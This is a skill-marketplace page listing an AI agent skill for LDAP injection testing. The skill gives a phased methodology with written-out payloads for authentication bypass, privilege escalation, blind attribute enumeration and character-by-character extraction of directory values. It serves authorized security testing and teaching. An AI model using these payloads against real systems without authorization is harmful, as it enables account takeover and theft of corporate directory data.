LDAP Injection Testing
БесплатноБез исполняемых скриптовНе проверенThis skill should be used when the user asks to "test for LDAP injection vulnerabilities", "exploit LDAP queries", "perform blind LDAP injection attacks"…
Об этом скилле
LDAP Injection Testing
Purpose
Identify and exploit LDAP injection vulnerabilities in web applications that interact with LDAP directory services. LDAP injection attacks manipulate queries sent to LDAP servers, enabling authentication bypass, privilege escalation, and sensitive data extraction from corporate directories including Active Directory, OpenLDAP, and Novell eDirectory.
Prerequisites
Required Knowledge
- Understanding of LDAP protocol and directory structure
- Familiarity with LDAP filter syntax (RFC 4515)
- Web application testing fundamentals
- Knowledge of authentication mechanisms
Required Tools
- Web browser with developer tools
- Burp Suite or similar proxy
- Custom scripts for blind injection automation
- Access to test LDAP environment
Required Access
- Target web application URL
- Test user credentials (if available)
- Written authorization for testing
Outputs and Deliverables
- Vulnerability Assessment Report - Document all injection points and severity
- Proof of Concept Exploits - Working injection payloads for each vulnerability
- Data Extraction Results - Enumerated attributes, users, and directory structure
- Remediation Recommendations - Input validation and parameterized query guidance
Core Workflow
Phase 1: LDAP Filter Syntax Understanding
Master LDAP filter construction before testing:
# LDAP Filter Structure
Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
# Operators
= Equal
~= Approximate
>= Greater than or equal
<= Less than or equal
* Wildcard (one or more characters)
# Special Constants
(&) Absolute TRUE
(|) Absolute FALSE
Phase 2: Injection Point Detection
Test input fields for LDAP injection susceptibility:
# Basic injection test characters
*
*)
*))
)(
)(&
))(|
Observe application responses for:
- Error messages revealing LDAP syntax
- Unexpected data disclosure
- Authentication bypass indicators
- Application behavior changes
Phase 3: AND Injection Exploitation
Target applications using AND operator in queries:
Authentication Bypass:
# Original query structure
(&(USER=input)(PASSWORD=input))
# Injection payload (username field)
username: slisberger)(&))
password: anything
# Resulting query (first filter processed)
(&(USER=slisberger)(&))(PASSWORD=anything))
# Evaluates to TRUE - bypasses password check
Privilege Escalation:
# Original query for low-privilege documents
(&(directory=documents)(security_level=low))
# Injection payload
documents)(security_level=*))(&(directory=documents
# Resulting query
(&(directory=documents)(security_level=*))(&(directory=documents)(security_level=low))
# First filter returns ALL security levels
Phase 4: OR Injection Exploitation
Target applications using OR operator in queries:
Information Disclosure:
# Original resource query
(|(type=printer)(type=scanner))
# Injection payload
printer)(uid=*)
# Resulting query
(|(type=printer)(uid=*))(type=scanner))
# Returns all printers AND all user objects
Object Enumeration:
# Inject to enumerate different object classes
printer)(objectClass=person)
printer)(objectClass=computer)
printer)(objectClass=group)
Phase 5: Blind LDAP Injection
Extract data through TRUE/FALSE responses when errors are suppressed:
AND Blind Injection:
# Test if objectClass exists
*)(objectClass=users))(&(objectClass=void
# If icons/results appear = TRUE (class exists)
# If no results = FALSE (class doesn't exist)
# Enumerate object classes
*)(objectClass=person))(&(objectClass=void
*)(objectClass=computer))(&(objectClass=void
*)(objectClass=group))(&(objectClass=void
OR Blind Injection:
# Inverse logic for OR queries
void)(objectClass=users))(&(objectClass=void
# Results appear = TRUE
# No results = FALSE
Phase 6: Attribute Discovery
Enumerate available attributes through blind injection:
# Test for common attributes
*)(uid=*))(&(1=0
*)(cn=*))(&(1=0
*)(mail=*))(&(1=0
*)(telephoneNumber=*))(&(1=0
*)(department=*))(&(1=0
*)(userPassword=*))(&(1=0
# TRUE response indicates attribute exists
Phase 7: Booleanization Attack
Extract attribute values character by character:
# Determine if department starts with 'a'
*)(department=a*))(&(1=0
# FALSE - doesn't start with 'a'
# Try 'f'
*)(department=f*))(&(1=0
# TRUE - starts with 'f'
# Continue with second character
*)(department=fa*))(&(1=0
# FALSE
*)(department=fi*))(&(1=0
# TRUE - starts with 'fi'
# Continue until full value extracted: "finance"
Phase 8: Charset Reduction
Optimize extraction using binary search:
# Test if character is in range a-m
*)(department>=a)(department<=m*))(&(1=0
# If TRUE, narrow to a-g
# If FALSE, check n-z
# Continue binary search to identify exact character
# Reduces average attempts from 26 to ~5 per character
Quick Reference
Установить LDAP Injection Testing в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
FAQ
Что делает скилл LDAP Injection Testing?
This skill should be used when the user asks to "test for LDAP injection vulnerabilities", "exploit LDAP queries", "perform blind LDAP injection attacks", "bypass authentication using LDAP injection", "extract data from LDAP directories", or "assess LDAP-based application security". It provides comprehensive techniques for identifying and exploiting LDAP injection flaws in web applications.
Как установить скилл LDAP Injection Testing?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл LDAP Injection Testing запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
skill-creator
Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an…
от Anthropicdiscernment-nudge
After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals…
от Anthropicdata-consolidate
Joins the plant's scheduled exports and connector data into one working dataset — ERP items (NetSuite or Infor M3), sales orders, production work orders…
от Anthropicinspection-to-capa
Runs the quality chain end to end: writes the nonconformance against the requirement it violates, searches history at the moment of writing to say whether…
от Anthropic